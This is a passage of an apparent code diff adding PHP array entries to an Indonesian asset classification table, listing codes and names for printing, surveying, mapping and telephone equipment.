'nama' => 'BUSUR GAMBAR', + ], + [ + 'id_aset' => 2301, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 'JANGKA GAMBAR', + ], + [ + 'id_aset' => 2302, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN STUDIO GAMBAR LAINNYA', + ], + [ + 'id_aset' => 2303, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN CETAK', + ], + [ + 'id_aset' => 2304, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'MEJA MEMBUAT KLISE', + ], + [ + 'id_aset' => 2305, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'MEJA CETAK TANGAN', + ], + [ + 'id_aset' => 2306, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'MESIN CETAK LISTRIK SHEET', + ], + [ + 'id_aset' => 2307, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'MESIN CETAK LISTRIK ROLL', + ], + [ + 'id_aset' => 2308, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '005', + 'nama' => 'MESIN CETAK ELEKTRONIK', + ], + [ + 'id_aset' => 2309, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '006', + 'nama' => 'MESIN CETAK', + ], + [ + 'id_aset' => 2310, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '007', + 'nama' => 'MESIN CETAK OFFSET SHEET', + ], + [ + 'id_aset' => 2311, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '008', + 'nama' => 'MESIN CETAK OFFSET ROLL', + ], + [ + 'id_aset' => 2312, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '009', + 'nama' => 'MESIN CETAK OFFSET MINI', + ], + [ + 'id_aset' => 2313, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '010', + 'nama' => 'MESIN PEMOTONG BIASA', + ], + [ + 'id_aset' => 2314, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '011', + 'nama' => 'MESIN PEMOTONG BIASA TIGA PISAU', + ], + [ + 'id_aset' => 2315, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '012', + 'nama' => 'MESIN JILID BUNDAR', + ], + [ + 'id_aset' => 2316, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '013', + 'nama' => 'MESIN JILID BESAR', + ], + [ + 'id_aset' => 2317, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '014', + 'nama' => 'MESIN JILID', + ], + [ + 'id_aset' => 2318, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '015', + 'nama' => 'MESIN LIPAT', + ], + [ + 'id_aset' => 2319, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '016', + 'nama' => 'MESIN PEMBUAT HURUF', + ], + [ + 'id_aset' => 2320, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '017', + 'nama' => 'MESIN PENYUSUN HURUF BIASA', + ], + [ + 'id_aset' => 2321, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '018', + 'nama' => 'MESIN PENYUSUN HURUF FOTO (FOTO TYPE SETTING)', + ], + [ + 'id_aset' => 2322, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '019', + 'nama' => 'MESIN PELUBANG (PERALATAN CETAK)', + ], + [ + 'id_aset' => 2323, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '020', + 'nama' => 'MESIN PROOF', + ], + [ + 'id_aset' => 2324, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '021', + 'nama' => 'CAMERA VERTICAL', + ], + [ + 'id_aset' => 2325, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '022', + 'nama' => 'MESIN PRES', + ], + [ + 'id_aset' => 2326, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '023', + 'nama' => 'MESIN JAHIT KAWAT', + ], + [ + 'id_aset' => 2327, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '024', + 'nama' => 'MESIN JAHIT BENANG', + ], + [ + 'id_aset' => 2328, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '025', + 'nama' => 'MESIN PILUNG', + ], + [ + 'id_aset' => 2329, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '026', + 'nama' => 'MESIN GARIS', + ], + [ + 'id_aset' => 2330, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '027', + 'nama' => 'MESIN PEREKAM STENSIL FOLIO', + ], + [ + 'id_aset' => 2331, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '028', + 'nama' => 'MESIN PEREKAM STENSIL DOUBLE FOLIO', + ], + [ + 'id_aset' => 2332, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '029', + 'nama' => 'MESIN PLATE MAKER FOLIO', + ], + [ + 'id_aset' => 2333, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '030', + 'nama' => 'MESIN PLATE MAKER DOUBLE FOLIO', + ], + [ + 'id_aset' => 2334, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '031', + 'nama' => 'MESIN POTONG', + ], + [ + 'id_aset' => 2335, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '032', + 'nama' => 'MESIN HANDPRESS', + ], + [ + 'id_aset' => 2336, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '033', + 'nama' => 'MESIN STAHD', + ], + [ + 'id_aset' => 2337, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '034', + 'nama' => 'MESIN KERTAS', + ], + [ + 'id_aset' => 2338, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '035', + 'nama' => 'KACIP POTONG SUDUT', + ], + [ + 'id_aset' => 2339, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '036', + 'nama' => 'ALAT PEMBUAT VORMSTAND', + ], + [ + 'id_aset' => 2340, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '037', + 'nama' => 'MESIN PASET', + ], + [ + 'id_aset' => 2341, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '038', + 'nama' => 'MESIN PRASISE KLISE', + ], + [ + 'id_aset' => 2342, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '039', + 'nama' => 'MESIN PEMBOLONG FILM SETENGAH PLANO', + ], + [ + 'id_aset' => 2343, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '040', + 'nama' => 'MESIN CETAK MAS', + ], + [ + 'id_aset' => 2344, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '041', + 'nama' => 'MESIN CETAK STEREO TYPER', + ], + [ + 'id_aset' => 2345, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '042', + 'nama' => 'MESIN CETAK BRAILLE', + ], + [ + 'id_aset' => 2346, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '043', + 'nama' => 'MESIN FONDS', + ], + [ + 'id_aset' => 2347, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '044', + 'nama' => 'MESIN FOLDING', + ], + [ + 'id_aset' => 2348, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '045', + 'nama' => 'MESIN BARCODE', + ], + [ + 'id_aset' => 2349, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '046', + 'nama' => 'MESIN PROFESIONAL VELOBINDER', + ], + [ + 'id_aset' => 2350, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '047', + 'nama' => 'MESIN CACAH', + ], + [ + 'id_aset' => 2351, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '048', + 'nama' => 'IMAGE SETTER', + ], + [ + 'id_aset' => 2352, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '049', + 'nama' => 'MESIN SPARASI', + ], + [ + 'id_aset' => 2353, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '050', + 'nama' => 'CAMERA HORIZONTAL', + ], + [ + 'id_aset' => 2354, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '051', + 'nama' => 'ALAT COVER CREASING', + ], + [ + 'id_aset' => 2355, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '052', + 'nama' => 'MESIN PEMBUAT ID CARD', + ], + [ + 'id_aset' => 2356, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN CETAK LAINNYA', + ], + [ + 'id_aset' => 2357, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN STUDIO PEMETAAN/PERALATAN UKUR TANAH', + ], + [ + 'id_aset' => 2358, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'AUTOGRAPH UNIT', + ], + [ + 'id_aset' => 2359, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'AVIOGRAPH PLUS PLOTING TABLE', + ], + [ + 'id_aset' => 2360, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'PLANITOP', + ], + [ + 'id_aset' => 2361, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'POINT TRANTER DEVICE', + ], + [ + 'id_aset' => 2362, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '005', + 'nama' => 'TRESTIRIAL CAMERA', + ], + [ + 'id_aset' => 2363, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '006', + 'nama' => 'SLOHED TEMLET', + ], + [ + 'id_aset' => 2364, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '007', + 'nama' => 'SKETCH MASTER', + ], + [ + 'id_aset' => 2365, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '008', + 'nama' => 'RECTIFIER (PERALATAN STUDIO PEMETAAN/PERALATAN UKUR TANAH)', + ], + [ + 'id_aset' => 2366, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '009', + 'nama' => 'OPTICAL PANTOGRAPH', + ], + [ + 'id_aset' => 2367, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '010', + 'nama' => 'CONTACT PRINTER', + ], + [ + 'id_aset' => 2368, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '011', + 'nama' => 'PENGERING PHOTO', + ], + [ + 'id_aset' => 2369, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '012', + 'nama' => 'VACUM FRAME', + ], + [ + 'id_aset' => 2370, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '013', + 'nama' => 'COORDINATOGRAPH', + ], + [ + 'id_aset' => 2371, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '014', + 'nama' => 'PEMOTONG FILM', + ], + [ + 'id_aset' => 2372, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '015', + 'nama' => 'STREOSCOPE TANAH', + ], + [ + 'id_aset' => 2373, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '016', + 'nama' => 'WATERPAS', + ], + [ + 'id_aset' => 2374, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '017', + 'nama' => 'THEODOLITE (PERALATAN STUDIO PEMETAAN/PERALATAN UKUR TANAH)', + ], + [ + 'id_aset' => 2375, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '018', + 'nama' => 'DISTOMAT', + ], + [ + 'id_aset' => 2376, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '019', + 'nama' => 'B.T.M', + ], + [ + 'id_aset' => 2377, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '020', + 'nama' => 'LEVEL', + ], + [ + 'id_aset' => 2378, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '021', + 'nama' => 'JALON', + ], + [ + 'id_aset' => 2379, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '022', + 'nama' => 'RAMBU/BAK UKUR', + ], + [ + 'id_aset' => 2380, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '023', + 'nama' => 'KOMPAS GEOLOGI', + ], + [ + 'id_aset' => 2381, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '024', + 'nama' => 'CLINOMETER', + ], + [ + 'id_aset' => 2382, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '025', + 'nama' => 'ALTIMETER (PERALATAN STUDIO PEMETAAN/PERALATAN UKUR TANAH)', + ], + [ + 'id_aset' => 2383, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '026', + 'nama' => 'HOLIOMETER', + ], + [ + 'id_aset' => 2384, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '027', + 'nama' => 'TELESCOPE (PERALATAN STUDIO PEMETAAN/PERALATAN UKUR TANAH)', + ], + [ + 'id_aset' => 2385, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '028', + 'nama' => 'PASSER DOSS', + ], + [ + 'id_aset' => 2386, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '029', + 'nama' => 'CURVERMETER', + ], + [ + 'id_aset' => 2387, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '030', + 'nama' => 'ROLLMETER', + ], + [ + 'id_aset' => 2388, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '031', + 'nama' => 'MEET BAND', + ], + [ + 'id_aset' => 2389, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '032', + 'nama' => 'BUSUR DERAJAT', + ], + [ + 'id_aset' => 2390, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '033', + 'nama' => 'CHRONOMETER (PERALATAN STUDIO PEMETAAN/PERALATAN UKUR TANAH)', + ], + [ + 'id_aset' => 2391, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '034', + 'nama' => 'GAWANG LOKASI', + ], + [ + 'id_aset' => 2392, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '035', + 'nama' => 'KOMPAS (PERALATAN STUDIO PEMETAAN/PERALATAN UKUR TANAH)', + ], + [ + 'id_aset' => 2393, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '036', + 'nama' => 'SEXTANT', + ], + [ + 'id_aset' => 2394, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '037', + 'nama' => 'TEROPONG/KEKER', + ], + [ + 'id_aset' => 2395, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '038', + 'nama' => 'GPS RECEIVER', + ], + [ + 'id_aset' => 2396, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '039', + 'nama' => 'GROUND PARETRATING RADAR', + ], + [ + 'id_aset' => 2397, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '040', + 'nama' => 'TEKEN SCHAAL/JANGKA TUSUK', + ], + [ + 'id_aset' => 2398, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '041', + 'nama' => 'PANTOGRAPH', + ], + [ + 'id_aset' => 2399, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '042', + 'nama' => 'PLANI METER', + ], + [ + 'id_aset' => 2400, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '043', + 'nama' => 'PRISMA ROELAK', + ], + [ + 'id_aset' => 2401, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '044', + 'nama' => 'PRISMA METER', + ], + [ + 'id_aset' => 2402, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '045', + 'nama' => 'PRISMA UKUR', + ], + [ + 'id_aset' => 2403, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '046', + 'nama' => 'RUITER PLAAT', + ], + [ + 'id_aset' => 2404, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '047', + 'nama' => 'KAMERA UDARA', + ], + [ + 'id_aset' => 2405, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '048', + 'nama' => 'STEREOPLOTTER', + ], + [ + 'id_aset' => 2406, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '049', + 'nama' => 'PLANICOMP', + ], + [ + 'id_aset' => 2407, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '050', + 'nama' => 'MEJA SINAR', + ], + [ + 'id_aset' => 2408, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '051', + 'nama' => 'GRAVER', + ], + [ + 'id_aset' => 2409, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '052', + 'nama' => 'PEN HOLDER', + ], + [ + 'id_aset' => 2410, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN STUDIO PEMETAAN/PERALATAN UKUR TANAH LAINNYA', + ], + [ + 'id_aset' => 2411, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT STUDIO LAINNYA', + ], + [ + 'id_aset' => 2412, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT STUDIO LAINNYA', + ], + [ + 'id_aset' => 2413, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT KOMUNIKASI', + ], + [ + 'id_aset' => 2414, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT KOMUNIKASI TELEPHONE', + ], + [ + 'id_aset' => 2415, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'TELEPHONE (PABX)', + ], + [ + 'id_aset' => 2416, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'INTERMEDIATE TELEPHONE/KEY TELEPHONE', + ], + [ + 'id_aset' => 2417, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'PESAWAT TELEPHONE', + ], + [ + 'id_aset' => 2418, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'TELEPHONE MOBILE', + ], + [ + 'id_aset' => 2419, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'PAGER', + ], + [ + 'id_aset' => 2420, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'HANDY TALKY (HT)', + ], + [ + 'id_aset' => 2421, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'TELEX', + ], + [ + 'id_aset' => 2422, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'SELECTIVE COLLING', + ], + [ + 'id_aset' => 2423, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'PERALATAN SPECH PLAS', + ], + [ + 'id_aset' => 2424, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '010', + 'nama' => 'FACSIMILE', + ], + [ + 'id_aset' => 2425, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '011', + 'nama' => 'BIDDING PIT', + ], + [ + 'id_aset' => 2426, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '012', + 'nama' => 'LOCAL BATTERY TELEPHONE', + ], + [ + 'id_aset' => 2427, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '013', + 'nama' => 'SENHUB FIXED', + ], + [ + 'id_aset' => 2428, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '014', + 'nama' => 'SENHUB MOBILE', + ], + [ + 'id_aset' => 2429, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '015', + 'nama' => 'TELEPON LAPANGAN', + ], + [ + 'id_aset' => 2430, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '016', + 'nama' => 'SENTRAL TELEPON LAPANGAN', + ], + [ + 'id_aset' => 2431, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '017', + 'nama' => 'TELEPON SATELIT', + ], + [ + 'id_aset' => 2432, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '018', + 'nama' => 'KOM DATA', + ], + [ + 'id_aset' => 2433, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '019', + 'nama' => 'PDA', + ], + [ + 'id_aset' => 2434, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '020', + 'nama' => 'TELEPON DIGITAL', + ], + [ + 'id_aset' => 2435, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '021', + 'nama' => 'TELEPON ANALOG', + ], + [ + 'id_aset' => 2436, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT KOMUNIKASI TELEPHONE LAINNYA', + ], + [ + 'id_aset' => 2437, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 